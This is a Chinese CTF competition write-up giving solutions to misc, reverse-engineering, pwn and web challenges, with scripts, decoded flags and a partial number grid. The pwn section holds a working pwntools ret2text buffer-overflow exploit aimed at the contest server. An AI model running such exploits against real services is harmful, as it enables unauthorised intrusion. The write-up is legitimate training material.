第十一届山东省大学生网络安全决赛 WP

九州信泰杯第十一届山东省大学生网络安全技能竞赛-决赛wp

碎碎念

很久没打CTF,但题不难

文末有题目附件下载链接

(你看完wp就知道了,真不难)

难的我都不会

运气好拿到高校个人组第一名

img

以下为WP

misc

签到

提交附件里面的flag即可

ezpic

img

文件尾有后半段flag

1
a73b2de7499d614c}

lsb的图像有二维码,扫描得到前半段flag

img

在b0层

1
flag{cf74bc8a2233179e

拼起来得到flag

1
flag{cf74bc8a2233179ea73b2de7499d614c}

简单编码

1
DJ?ELCaecBfBa?eeCAAB`BD?A`fgBghDChab_N

rot13+rot47

img

异常的流量

dnslog的流量

一看01字符串就有问题

一个query会有一个response包,所以提取一组即可

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
tshark -r 异常的流量.pcap -Y "ip.dst == 172.16.178.145" -T fields -e dns.qry.name
Running as user "root" and group "root". This could be dangerous.
0000000000000000000000000000000000000000.localhost.dnslog.cn
0000000000000000000000000000000000000000.localhost.dnslog.cn
0000000000000110101111010000101000000000.localhost.dnslog.cn
0000000000011110010011001110010000000000.localhost.dnslog.cn
0000000000101110000001000100000000000000.localhost.dnslog.cn
0000000000000111111110001100010000000000.localhost.dnslog.cn
0000000000000110000000110100110000000000.localhost.dnslog.cn
0000000000001110000000000011110000000000.localhost.dnslog.cn
0000000000001010101010101010101000000000.localhost.dnslog.cn
0000000000010111100101111001011000000000.localhost.dnslog.cn
0000010000110101011000010111000101100000.localhost.dnslog.cn
0000110001001100101001001000101010011000.localhost.dnslog.cn
0011110010111011000000110000111010101000.localhost.dnslog.cn
0011010101111101010111100110111000110000.localhost.dnslog.cn
0001011110010000011010110111010001101000.localhost.dnslog.cn
0000001101011011001001110000010011011100.localhost.dnslog.cn
0010011110111100101110110101000111001000.localhost.dnslog.cn
0010010100111010010100110000111011010100.localhost.dnslog.cn
0000101111000010100110000100000100001100.localhost.dnslog.cn
0000001100010001000111110010111000110000.localhost.dnslog.cn
0011001110001110101001110110100000010100.localhost.dnslog.cn
0010111101111101010001000101101000000000.localhost.dnslog.cn
0010111111000111100101011000001001001100.localhost.dnslog.cn
0001101000001110011111110000010110011000.localhost.dnslog.cn
0001010010000000000111001101100101110100.localhost.dnslog.cn
0000101101110010001000000101010111010100.localhost.dnslog.cn
0011001110011101000010100000000111111000.localhost.dnslog.cn
0001111000010110010000110101111110010000.localhost.dnslog.cn
0001000110000000100010001111110000001100.localhost.dnslog.cn
0001011101010101110100000101101101101100.localhost.dnslog.cn
0010111010000010010000000011111111101100.localhost.dnslog.cn
0000000000101010100011111101001000100100.localhost.dnslog.cn
0000000000011111111100011010011010100000.localhost.dnslog.cn
0000000000001000001101001100011000110100.localhost.dnslog.cn
0000000000011011100000001011111111100100.localhost.dnslog.cn
0000000000100010000111101100001000010000.localhost.dnslog.cn
0000000000000101110110000010101000001100.localhost.dnslog.cn
0000000000111011111110100000000111100100.localhost.dnslog.cn
0000000000000000000000000000000000000000.localhost.dnslog.cn
0000000000000000000000000000000000000000.localhost.dnslog.cn

切一下

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
0000000000000000000000000000000000000000
0000000000000000000000000000000000000000
0000000000000110101111010000101000000000
0000000000011110010011001110010000000000
0000000000101110000001000100000000000000
0000000000000111111110001100010000000000
0000000000000110000000110100110000000000
0000000000001110000000000011110000000000
0000000000001010101010101010101000000000
0000000000010111100101111001011000000000
0000010000110101011000010111000101100000
0000110001001100101001001000101010011000
0011110010111011000000110000111010101000
0011010101111101010111100110111000110000
0001011110010000011010110111010001101000
0000001101011011001001110000010011011100
0010011110111100101110110101000111001000
0010010100111010010100110000111011010100
0000101111000010100110000100000100001100
0000001100010001000111110010111000110000
0011001110001110101001110110100000010100
0010111101111101010001000101101000000000
0010111111000111100101011000001001001100
0001101000001110011111110000010110011000
0001010010000000000111001101100101110100
0000101101110010001000000101010111010100
0011001110011101000010100000000111111000
0001111000010110010000110101111110010000
0001000110000000100010001111110000001100
0001011101010101110100000101101101101100
0010111010000010010000000011111111101100
0000000000101010100011111101001000100100
0000000000011111111100011010011010100000
0000000000001000001101001100011000110100
0000000000011011100000001011111111100100
0000000000100010000111101100001000010000
0000000000000101110110000010101000001100
0000000000111011111110100000000111100100
0000000000000000000000000000000000000000
0000000000000000000000000000000000000000

很久之前给学弟学妹写的01转二维码参考答案

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
# 导入PIL图像库和math库。
from PIL import Image
import math
# 打开文件01.txt并将其读入变量string_01。
string_01 = open('1.txt').read().replace('\n','')
# math.sqrt是开平方根的函数,输出的是float浮点数类型的数值
# int函数把接收的数值转化为int整数类型
# 这句话就是把计算string_01的长度的平方根并将其转换为整数,存入变量sqrt_len。
sqrt_len = int(math.sqrt(len(string_01)))
# 设置图像宽度和高度为sqrt_len。
width, height = sqrt_len,sqrt_len
# 创建一个新的RGB图像,长度和宽度分别为height和width。
im = Image.new('RGB',(height,width))
# 遍历图像的每一行和每一列。
for x in range(height):
    for y in range(width):
        # 获取string_01中对应坐标的字符并存入变量value。
        value = string_01[width * x + y]
        # 如果value为"0",将该坐标的像素设置为白色。
        if value == "0":
            im.putpixel((x,y),(255,255,255))
        # 否则,将该坐标的像素设置为黑色。
        else:
            im.putpixel((x,y),(0,0,0))
# 显示im图像
im.show()
# 把im保存为QRcode.png
im.save('QRcode.png')
img

补上三个角的 Position Detection Patterns

img

1
flag{a04cc2c1b77c070823aa38aaf8e7e761}

re

exchange

很简单的签到

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
int __fastcall main_0(int argc, const char **argv, const char **envp)
{
  char *v3; // rdi
  __int64 i; // rcx
  char v6; // [rsp+20h] [rbp+0h] BYREF
  int v7[48]; // [rsp+30h] [rbp+10h]
  int v8[46]; // [rsp+F0h] [rbp+D0h]
  char v9[60]; // [rsp+1A8h] [rbp+188h] BYREF
  int j; // [rsp+1E4h] [rbp+1C4h]
  int k; // [rsp+204h] [rbp+1E4h]

  v3 = &v6;
  for ( i = 130i64; i; --i )
  {
    *(_DWORD *)v3 = 0xCCCCCCCC;
    v3 += 4;
  }
  j___CheckForDebuggerJustMyCode(&unk_7FF7902A2008, argv, envp);
  v7[0] = 0;
  v7[1] = 1;
  v7[2] = 2;
  v7[3] = 3;
  v7[4] = 4;
  v7[5] = 13;
  v7[6] = 28;
  v7[7] = 5;
  v7[8] = 20;
  v7[9] = 29;
  v7[10] = 7;
  v7[11] = 26;
  v7[12] = 34;
  v7[13] = 18;
  v7[14] = 14;
  v7[15] = 8;
  v7[16] = 35;
  v7[17] = 24;
  v7[18] = 19;
  v7[19] = 12;
  v7[20] = 23;
  v7[21] = 15;
  v7[22] = 10;
  v7[23] = 36;
  v7[24] = 31;
  v7[25] = 6;
  v7[26] = 27;
  v7[27] = 17;
  v7[28] = 25;
  v7[29] = 32;
  v7[30] = 22;
  v7[31] = 11;
  v7[32] = 30;
  v7[33] = 21;
  v7[34] = 33;
  v7[35] = 9;
  v7[36] = 16;
  v7[37] = 37;
  v8[0] = 102;
  v8[1] = 108;
  v8[2] = 97;
  v8[3] = 103;
  v8[4] = 123;
  v8[5] = 52;
  v8[6] = 55;
  v8[7] = 101;
  v8[8] = 98;
  v8[9] = 102;
  v8[10] = 48;
  v8[11] = 48;
  v8[12] = 56;
  v8[13] = 57;
  v8[14] = 57;
  v8[15] = 97;
  v8[16] = 51;
  v8[17] = 54;
  v8[18] = 97;
  v8[19] = 57;
  v8[20] = 53;
  v8[21] = 98;
  v8[22] = 99;
  v8[23] = 101;
  v8[24] = 48;
  v8[25] = 49;
  v8[26] = 53;
  v8[27] = 53;
  v8[28] = 101;
  v8[29] = 102;
  v8[30] = 101;
  v8[31] = 51;
  v8[32] = 50;
  v8[33] = 98;
  v8[34] = 56;
  v8[35] = 100;
  v8[36] = 97;
  v8[37] = 125;
  memset(v9, 0, 0x28ui64);
  puts("input your flag :");
  for ( j = 0; j < 38; ++j )
    sub_7FF7902911F4("%c", &v9[j]);
  for ( k = 0; k < 38; ++k )
  {
    if ( v9[v7[k]] != v8[k] )
    {
      puts("input is error");
      return 0;
    }
  }
  puts("your input is right");
  return 0;
}

太久没打了,这个ida没idapython,写了个python脚本处理

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
v7 = """  v7[0] = 0;
  v7[1] = 1;
  v7[2] = 2;
  v7[3] = 3;
  v7[4] = 4;
  v7[5] = 13;
  v7[6] = 28;
  v7[7] = 5;
  v7[8] = 20;
  v7[9] = 29;
  v7[10] = 7;
  v7[11] = 26;
  v7[12] = 34;
  v7[13] = 18;
  v7[14] = 14;
  v7[15] = 8;
  v7[16] = 35;
  v7[17] = 24;
  v7[18] = 19;
  v7[19] = 12;
  v7[20] = 23;
  v7[21] = 15;
  v7[22] = 10;
  v7[23] = 36;
  v7[24] = 31;
  v7[25] = 6;
  v7[26] = 27;
  v7[27] = 17;
  v7[28] = 25;
  v7[29] = 32;
  v7[30] = 22;
  v7[31] = 11;
  v7[32] = 30;
  v7[33] = 21;
  v7[34] = 33;
  v7[35] = 9;
  v7[36] = 16;
  v7[37] = 37;"""

v8 = """  v8[0] = 102;
  v8[1] = 108;
  v8[2] = 97;
  v8[3] = 103;
  v8[4] = 123;
  v8[5] = 52;
  v8[6] = 55;
  v8[7] = 101;
  v8[8] = 98;
  v8[9] = 102;
  v8[10] = 48;
  v8[11] = 48;
  v8[12] = 56;
  v8[13] = 57;
  v8[14] = 57;
  v8[15] = 97;
  v8[16] = 51;
  v8[17] = 54;
  v8[18] = 97;
  v8[19] = 57;
  v8[20] = 53;
  v8[21] = 98;
  v8[22] = 99;
  v8[23] = 101;
  v8[24] = 48;
  v8[25] = 49;
  v8[26] = 53;
  v8[27] = 53;
  v8[28] = 101;
  v8[29] = 102;
  v8[30] = 101;
  v8[31] = 51;
  v8[32] = 50;
  v8[33] = 98;
  v8[34] = 56;
  v8[35] = 100;
  v8[36] = 97;
  v8[37] = 125;"""
  
v7v = [int(i.replace(';','').split('= ')[1]) for i in v7.split('\n')]
v8v = [int(i.replace(';','').split('= ')[1]) for i in v8.split('\n')]

flag = [0] * 39
for i, v in enumerate(v7v):
    flag[v] = v8v[i]

print(''.join([chr(i) for i in flag]))
# flag{e10adc3949ba59abbe56e057f20f883e}

补充(热心网友指正):虽然但是这是合法的Python,前面补一行v7=[0]*38就行

pwn

ezpwn

最简单的ret2text

1
2
3
4
5
from pwn import *
p = remote("172.22.128.1", 9999)
pl = b'a' * (32+8) + p64(0x40054B)
p.sendline(pl)
p.interactive()

web

fly_car

一个游戏题,忘了截图了

反正就是在GamePlay.js里

img

访问rankrankrank.php

img

改cookie,得到flag

ezmaze

很抽象的web题,如果放到misc刚刚好

其实很简单,30分钟就做出来了,不知道为什么解这么少

img

规则是 (以下用 $l_n$ 代指第$n$行的正确数)

第一行是第一个数

第2,3行分别会有一个数使得 $l_1 \pm l_2 = l_3$ 成立

确定 $l_2$和 $l_3$ 就比较简单了,第四行有一个数$l_4$满足 $l_2 \pm l_3 = l_4$

以此类推

一共有一百行

把这100个数用JSON发过去即可

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
4211
9349 5566 5538 8842 4573 2278 1987 8284 1884 7596 2144 6718 1865 1834 2751 5131 6267 2332 7234 5248 8649 6925 4873 1255 8695 5489 8386 7631 8325 4197 7533 2513 6532 8281 1418 1481 1643 9974 6715 8263 3277 2345 3372 7385 5826 9761 1352 1955 2178 5631 9496 8462 8153 1499 9239 8658 9688 3452 9568 5513 2853 5119 5625 7842 9455 1668 6873 2556 8491 8787 6426 1514 5171 9828 9792 1721 2344 3783 1282 4926 2981 1865 5544 2865 4181 6969 3429 4714 7133 1545 7819 1327 1422 8584 7958 2161 7189 6167 4745 2225
8687 5289 8434 2472 5943 7188 6135 6339 6124 2332 8821 6355 8491 5929 1229 9454 9733 8545 4883 4189 7762 4285 5985 5374 5758 4123 4835 3623 9566 5393 6264 3489 9623 5265 9363 8715 3489 6463 4872 6596 2563 6573 1537 6332 4669 3288 5649 7119 6257 1617 3578 6447 7747 6835 4359 6424 4766 5593 8768 2627 3326 1531 4897 1422 3655 9431 6246 3231 6524 7145 5963 9636 7442 6638 8235 6847 6982 9858 4759 2554 7476 8284 9417 5246 1726 4679 4773 2421 4784 5135 5219 9338 4713 6388 3836 1431 3682 3797 5127 4423
-1998 -6432 -2777 -9613 -4414 -4369 -4497 -3538 -2163 -4211 -4427 -3472 -2231 -6443 -4464 -1952 -6682 -2349 -8118 -6171 -6586 -5986 -8652 -8925 -2331 -7157 -4123 -4256 -6519 -8318 -4399 -1485 -8231 -3284 -8187 -8111 -7962 -7516 -7545 -7148 -1926 -9323 -4684 -6786 -9363 -5746 -9991 -3864 -4545 -5658 -3544 -2924 -6668 -2674 -9444 -7482 -1111 -6888 -8819 -6723 -5473 -2324 -1232 -1783 -5373 -1327 -4525 -9656 -2432 -6274 -2481 -8817 -4423 -8977 -5921 -5649 -6884 -6456 -5334 -4262 -1774 -2572 -3372 -8315 -4496 -7694 -1823 -1827 -2383 -6781 -6357 -6824 -6272 -1328 -1486 -6285 -9834 -9242 -1948 -7356
15347 62454 96218 56278 57964 51312 26431 27518 62422 11269 52564 66445 26777 45523 73656 17744 21558 32227 72778 34494 97437 54133 93523 49949 76765 75947 15445 89162 72732 47364 43948 85273 76314 21775 67946 12981 66489 10566 12341 79549 67915 76486 63797 73714 32955 73746 39864 72518 77548 17126 33322 57955 95659 59196 36636 49799 27646 82712 24165 31839 36687 41479 39256 92866 35437 34732 59638 29251 36141 43373 66492 34672 23232 43643 52934 69535 83198 26556 91924 62412 98549 94933 82826 72937 79546 82846 89522 67962 67266 21693 65315 19166 63161 89774 79757 84983 42752 15165 14749 73264
5396 8423 5353 2819 4761 8282 4155 4285 9833 2827 2648 4563 4988 4115 4955 9899 4386 4896 4297 6526 1732 8248 2923 1164 7297 9943 2111 1194 6744 8457 4848 9479 2285 2468 2491 9911 7221 9715 5217 2431 4886 5342 4189 9396 8218 7647 4637 6915 8764 7695 2913 6515 6224 6355 3516 6424 7758 4646 7959 2347 1521 2827 9455 1469 5935 9376 1878 9634 2331 7629 3847 3683 6977 2715 6472 9486 2871 2979 8578 2629 3366 1176 9864 8526 2726 1977 6554 5969 2742 1234 5946 2816 5722 8862 5952 3471 3821 7922 6589 5694
5172 8541 7413 1122 8167 9364 7491 3287 4416 4565 2616 1681 2776 4825 2746 3691 9122 9788 8198 6937 1785 9747 3349 8698 6621 1123 4158 2237 2342 5656 3353 1663 3252 1411 7179 3751 2614 6176 9255 8622 8836 2541 9544 8971 8941 4197 8272 2721 8156 6864 4526 9272 2593 3393 7495 3743 9945 2936 3671 7734 8725 8682 5111 3814 4938 9684 5834 3896 6122 5165 7911 8557 4584 3781 8235 4211 2186 6823 3397 8987 7619 3592 7449 8474 8349 4535 5273 4992 9752 1363 1196 3435 6136 3597 4985 7469 6582 7384 3436 8913
6697 9624 1666 7181 4266 6313 8272 1885 8167 6342 1275 5239 5329 9799 5278 4169 6713 4277 6399 1319 7895 6199 5711 9665 9389 5576 5981 8456 9657 1135 6581 4299 5966 5767 9585 9794 4911 8818 7422 7116 8429 6861 5366 2297 8419 4226 7489 1674 8976 2521 8212 2637 1524 6252 5116 5368 4442 7285 6611 7182 6986 2419 4928 5731 5157 5632 2728 2349 1258 9248 1356 3584 5954 1634 4918 3516 1971 6822 1399 3225 8275 3472 8654 5239 2712 2611 9244 4254 7334 2144 3821 8611 5271 4739 8171 8727 3194 2874 2283 7363
7839 7599 4436 1311 9715 5889 8555 5357 8786 5833 1153 9296 5362 9715 8699 2412 9932 4414 9655 9515 3515 7259 1868 5813 7432 7752 8247 4298 9248 2776 9438 1851 7665 8266 8885 6894 8636 2527 7338 7852 5672 4681 3818 5662 2582 6743 8636 5971 2067 4933 9327 1722 5472 2456 2614 9326 8327 7171 8237 4449 8319 7999 5737 8993 7519 9752 4198 3147 7932 6743 4996 1697 1362 2892 9547 3928 1785 9144 7516 1842 3193 9517 1758 9427 3981 4269 7567 6194 3177 1682 7764 1839 6718 3659 2462 1644 6533 8598 2235 8382
6877 3354 3758 2946 5649 3939 2162 5417 9996 1572 3728 6286 3633 6257 4552 5957 3458 1434 4478 8197 1885 5721 2787 8395 1169 5513 8861 8753 8428 7249 1254 3483 3466 5678 7592 5594 1686 6248 2648 8211 3837 1817 8814 3468 9345 3581 9485 8351 1544 2731 6931 4211 9866 4356 1223 5317 7917 2546 3824 7995 5671 9184 6218 4372 1352 5379 3514 4978 4625 1921 3153 1867 3259 2487 8949 1935 5487 2352 3616 2849 6944 6585 5999 3661 4424 7239 8828 6322 8163 5628 5383 8699 4428 3637 9563 8644 3327 6694 2818 1923
-2132 -9824 -6353 -2734 -8164 -2144 -2995 -8152 -5545 -6478 -3155 -4843 -3295 -3738 -6882 -5846 -4231 -8339 -1513 -1786 -6119 -6755 -2593 -7941 -4534 -8599 -8197 -1927 -3341 -4328 -9679 -9553 -5842 -5128 -4291 -4812 -6528 -9674 -4831 -3239 -6943 -4133 -6793 -1291 -9872 -2679 -5412 -9629 -5652 -1134 -1415 -5965 -7812 -7349 -9634 -7438 -3346 -8369 -5993 -9347 -1278 -2747 -9631 -3548 -9976 -4377 -5557 -7993 -7712 -2284 -3275 -4186 -6858 -3419 -6896 -3952 -6392 -1612 -7113 -4761 -4234 -2884 -5537 -7817 -4263 -2668 -6248 -1954 -1741 -8616 -9659 -4714 -5678 -6189 -4859 -4882 -6826 -3329 -8158 -9325
3225 7895 7662 3877 3181 3365 4789 2813 6234 1845 4153 1643 8944 5195 2067 9689 3533 7714 7549 6591 2942 2678 2716 7257 8672 8663 8729 4799 4896 7813 7927 7434 4549 9599 3594 9181 6259 2682 5465 6569 3466 5743 2442 9162 1974 9468 6732 7778 5857 8453 3518 8175 5638 6773 7867 7897 6893 6314 2131 8127 9755 5889 6936 7692 2157 1747 6649 9851 8267 7685 5325 6239 4496 8164 2415 7686 6438 2391 6863 2369 9796 6692 6716 7773 9337 5149 2469 9253 8812 1281 1335 1714 5269 8218 1869 3897 8297 2696 5298 5342
-41 -47 -86 -58 -43 -14 -71 -56 -69 -18 -72 -44 -76 -89 -33 -86 -73 -46 -53 -23 -51 -51 -33 -22 -93 -95 -58 -31 -88 -23 -29 -83 -97 -44 -41 -11 -63 -81 -12 -57 -44 -67 -75 -52 -65 -63 -67 -82 -74 -13 -72 -77 -76 -79 -67 -88 -84 -47 -79 -73 -36 -28 -78 -62 -36 -36 -15 -53 -72 -92 -85 -33 -16 -44 -85 -77 -19 -36 -25 -85 -73 -46 -33 -73 -24 -38 -81 -97 -89 -45 -45 -28 -42 -61 -99 -47 -62 -81 -76 -82
3384 6646 8245 2894 5268 5953 1162 6317 9969 1397 7925 3998 6431 2245 6481 7332 7748 4981 3844 1424 4833 6515 8576 3446 5422 2753 5563 3463 3131 5596 5114 5338 1321 2575 6658 5531 9147 3613 1212 7779 6376 2144 7814 1986 8394 4578 6198 7435 8141 5553 7788 1934 5555 8258 2196 6989 2867 1584 6699 2977 2985 6624 2719 9444 8877 8188 8553 5425 3215 4315 4528 8157 9342 9127 5949 6364 1733 1548 7552 4841 9722 5658 8586 8135 4967 9136 6498 9539 4969 7665 5218 2844 8727 6226 7453 4256 3687 2226 4573 1153
-1769 -6657 -2221 -8436 -1888 -9916 -3286 -7221 -8388 -4168 -6667 -7975 -6556 -1958 -6518 -8713 -3273 -1462 -2519 -3598 -9348 -1216 -1318 -2145 -9242 -6118 -3745 -5812 -6179 -9585 -2174 -5931 -5295 -9461 -7931 -9433 -9948 -8918 -5521 -3777 -5665 -1635 -2568 -8631 -5592 -6625 -3757 -7457 -8981 -5759 -2982 -8844 -5562 -1695 -3931 -5256 -9198 -3649 -9745 -9782 -2688 -7542 -6264 -7499 -8295 -4659 -3139 -1558 -8181 -8588 -5264 -2784 -1283 -3658 -4534 -6877 -1254 -5723 -5113 -9923 -4169 -2633 -7467 -4246 -9713 -1949 -6763 -5476 -4685 -7146 -2656 -7959 -1984 -7377 -7646 -8143 -6469 -8427 -6369 -1239
7419 4178 1594 2672 9258 5258 7746 7615 5491 3784 8775 4217 8865 5415 8464 7859 8896 5983 7461 6243 8883 8248 1772 7884 2116 4441 4681 3259 2566 1864 4179 7181 2914 1733 1269 8578 4892 9223 4549 1171 7144 2946 2395 2783 2839 6731 5191 2234 5544 3424 6187 2437 1173 4436 2659 2949 9198 1326 1712 6733 2286 6386 9552 5595 5298 3139 8918 4369 9636 6928 2854 4333 6694 5434 5235 7647 7192 2471 8512 4181 6717 2837 5988 7719 4365 2987 1322 2899 3752 9638 9968 1421 8218 2353 5634 5196 7983 4721 2951 9418
6269 6724 7923 1995 9436 6679 1348 8748 3284 9698 4737 9382 5515 9794 7154 3114 5341 2767 2796 2183 9814 8785 1718 4111 3364 7535 1835 3656 4734 3932 9263 2144 3928 9952 7388 8543 6455 8661 1266 4958 4177 1825 9638 3733 2641 7948 4637 4813 5382 5578 6356 4546 2363 2128 3768 5248 5315 3153 5822 9393 8247 6146 2549 2862 6461 4178 9936 5241 3978 3536 4327 7798 5588 6759 9176 9937 1297 6551 6724 2343 5412 4218 9664 6699 7526 1473 8458 3439 2496 4237 8546 3728 1836 8561 9327 9778 1433 1863 9838 2151
9684 4271 9933 7228 8619 3891 5166 3731 9394 6565 8433 9686 1451 1724 2447 9426 3885 6489 9482 9261 1419 5794 9335 9724 1556 2618 5126 4264 9555 2221 4991 1112 4932 1444 5731 2328 4751 1396 4375 6164 3137 9359 8929 5674 3643 9987 9783 9261 7987 3129 3188 7528 1926 1987 3139 2838 4471 1292 9859 1563 4964 7458 4936 3629 8466 6378 2894 6594 1234 4448 9343 2794 4528 7286 1851 9692 2679 6885 4338 8692 5767 1962 8115 2626 3935 1226 7745 8423 7563 5725 3187 6484 7145 5516 8394 9365 1152 1327 7421 8677
3819 4478 8588 8383 2736 5844 8834 8512 1988 3744 6942 2677 3232 2248 5692 6367 5285 2893 2489 1484 4921 4942 1818 7376 6628 6799 4293 9366 2477 5411 9842 1613 5681 2158 2378 8232 1578 6687 8745 6472 7411 1723 6623 6353 1996 4983 7496 4884 6868 5979 2811 9441 8782 3643 4625 8262 4974 3479 4688 4662 1855 7141 7137 1434 3264 4972 5885 5864 1274 3827 4743 7116 2468 4767 5791 3353 6759 4391 2151 1118 4365 5984 7244 4397 5843 9177 3256 9878 3581 5688 7943 2424 3877 1933 8634 9443 7624 9282 2531 6793
-9166 -5488 -4148 -7119 -5555 -6737 -3677 -9275 -9623 -2369 -6156 -1832 -6928 -9531 -9497 -2144 -8184 -1587 -9943 -6476 -7892 -4942 -8151 -1145 -4778 -1439 -1922 -8779 -4268 -9496 -7477 -9116 -2161 -4887 -2739 -6564 -7881 -3615 -4639 -5334 -9566 -2638 -7837 -6149 -2952 -8295 -9873 -8335 -9771 -9371 -5552 -4594 -6791 -8827 -7258 -8784 -9237 -3628 -9957 -6291 -3618 -8589 -5914 -4892 -2433 -1297 -1782 -1645 -2552 -6346 -6649 -6956 -9661 -6647 -7567 -6721 -4492 -5654 -8727 -3641 -9353 -1675 -7496 -5812 -1588 -1673 -1217 -5598 -9377 -3735 -1656 -8882 -2275 -1426 -6992 -6825 -2691 -7233 -5896 -2218
7488 6625 4278 4676 6613 4995 1573 6768 6388 9145 4462 6834 3427 1561 8868 5718 9317 5547 3976 6695 3395 9469 1785 1653 7136 5938 7846 1875 2159 3311 3494 6715 6478 7993 7422 5122 8197 3487 9535 3826 5571 1113 3396 1266 9977 8141 7894 8326 4773 9995 5979 7127 3564 4776 8449 6509 3363 3423 6215 6915 6717 4339 1989 9276 6244 4185 9256 2597 8657 7424 5419 6719 1458 1442 1818 6625 1197 4492 4861 4491 6564 3927 5991 4235 5537 8298 5491 7328 8984 6775 3794 6837 1543 3594 6563 5498 3264 6431 1676 3399
4564 6427 9311 5921 3356 5866 5947 8569 9653 8373 5324 1297 6529 6773 1657 4325 4735 4247 5252 9313 2149 3366 3861 4893 5699 4842 7381 7791 1866 1849 6835 4623 6196 1476 6615 4128 7453 7316 8549 3427 7838 1769 2537 9418 5268 7425 2169 6422 8812 4365 6629 3994 7723 7889 5475 9691 1426 5326 5138 2257 7328 1912 9293 2549 4416 3364 2657 2859 6293 4751 8673 4867 4624 6725 9874 7545 8562 1145 3333 6758 6346 3524 6195 3487 2236 6717 6446 8722 3121 5913 2819 1968 4495 6846 4437 1364 4763 5495 2395 7148
1949 6863 6371 6119 5262 8814 8568 3754 2785 6132 7611 1732 2318 1171 1227 7455 1435 7635 5552 7287 4137 7552 9766 9498 9778 4127 9233 2942 6837 9739 3628 3656 9964 6495 9594 3747 7633 1969 7389 8584 6554 5993 1252 1817 9326 3647 6577 5566 8835 8882 3457 8919 7486 1415 3482 2144 8812 7331 6594 4112 5228 8576 8475 8612 1388 6672 4574 9882 4922 6733 5266 6412 8811 7572 7795 8116 9178 2211 7189 2879 6878 1489 8526 3127 7437 2385 5569 1717 3627 2297 7959 7151 8686 1516 1836 7511 2413 7632 2184 1447
6935 4831 9736 5324 5448 5975 2328 6434 5742 6498 6509 8222 2733 8532 5768 6557 6371 1713 5279 7936 7973 4776 2787 9875 3891 9486 2914 7712 9739 6473 9562 9936 3764 2444 9576 1456 4451 5441 7554 8696 6948 5182 3621 7373 6397 3769 2132 1844 8969 9667 9388 6218 4434 1561 5358 8827 7283 2739 1252 6116 8238 2696 8864 3779 3213 2965 7126 8825 7699 8774 6656 5818 6465 9659 3688 8317 8569 8866 6334 1275 2276 6613 4519 7354 4296 3668 4444 3897 1244 4685 4998 2192 9421 3922 8178 3423 2247 5718 6243 4639
-4781 -6377 -5654 -4187 -9581 -6219 -6277 -4634 -1752 -8428 -3446 -5222 -5825 -3616 -4834 -3941 -9912 -9372 -3375 -6142 -6455 -9315 -9428 -2869 -7452 -7316 -4271 -2295 -5255 -9173 -3468 -8525 -2933 -7883 -4951 -1171 -4874 -4732 -9879 -7361 -3151 -9258 -8273 -3168 -5387 -8828 -4314 -4347 -2979 -8444 -9579 -1749 -9129 -3376 -3188 -6413 -7798 -8234 -7436 -7883 -8136 -1296 -9263 -7215 -6847 -9138 -8271 -2135 -4365 -9768 -1535 -2419 -6124 -4927 -4785 -2384 -3529 -6826 -8215 -7742 -8189 -4354 -4652 -1239 -8895 -4296 -7685 -5181 -1957 -5852 -6711 -6357 -7636 -5167 -3562 -2477 -5467 -4476 -8266 -2148
9413 6264 4458 2852 6936 5717 7458 7481 3272 4657 1746 9299 3326 7396 9264 7162 9122 9461 6312 9417 7883 4437 5885 5124 6634 9932 3679 2671 2331 3956 3623 8384 7428 6875 9239 9713 6355 4367 6342 6124 5883 1267 9133 2433 2144 6312 9527 1424 9998 9489 8557 2746 1526 9125 8643 5957 2663 1912 5135 2461 7958 2517 6657 8948 4972 1745 7324 9219 2724 8997 7492 9927 8637 7181 1698 9936 9125 4633 5883 5739 2164 3355 4284 4764 6251 4214 7956 8436 9528 5318 5318 2342 8982 5586 5794 6459 8954 8253 1573 8799
-6115 -7478 -6965 -2238 -9433 -7326 -3129 -6137 -4248 -2591 -3721 -8833 -1962 -1813 -6856 -6473 -2483 -7689 -6491 -3882 -1553 -9993 -3527 -4121 -5537 -7332 -2736 -1878 -7945 -4847 -5837 -3744 -9987 -6469 -2969 -5637 -5729 -8949 -2372 -1694 -9956 -3611 -6896 -9277 -3595 -5665 -6711 -2767 -6509 -5888 -5879 -1248 -8164 -4214 -2526 -8224 -5613 -3764 -7382 -1413 -3742 -7555 -9175 -4477 -8684 -5572 -3299 -8159 -8793 -3298 -8763 -3315 -6752 -6352 -2931 -3439 -2245 -2636 -2178 -9714 -7975 -8581 -6918 -9856 -9556 -9975 -5795 -5123 -7623 -2118 -1757 -7971 -9326 -8294 -4254 -4791 -9252 -8528 -5356 -2843
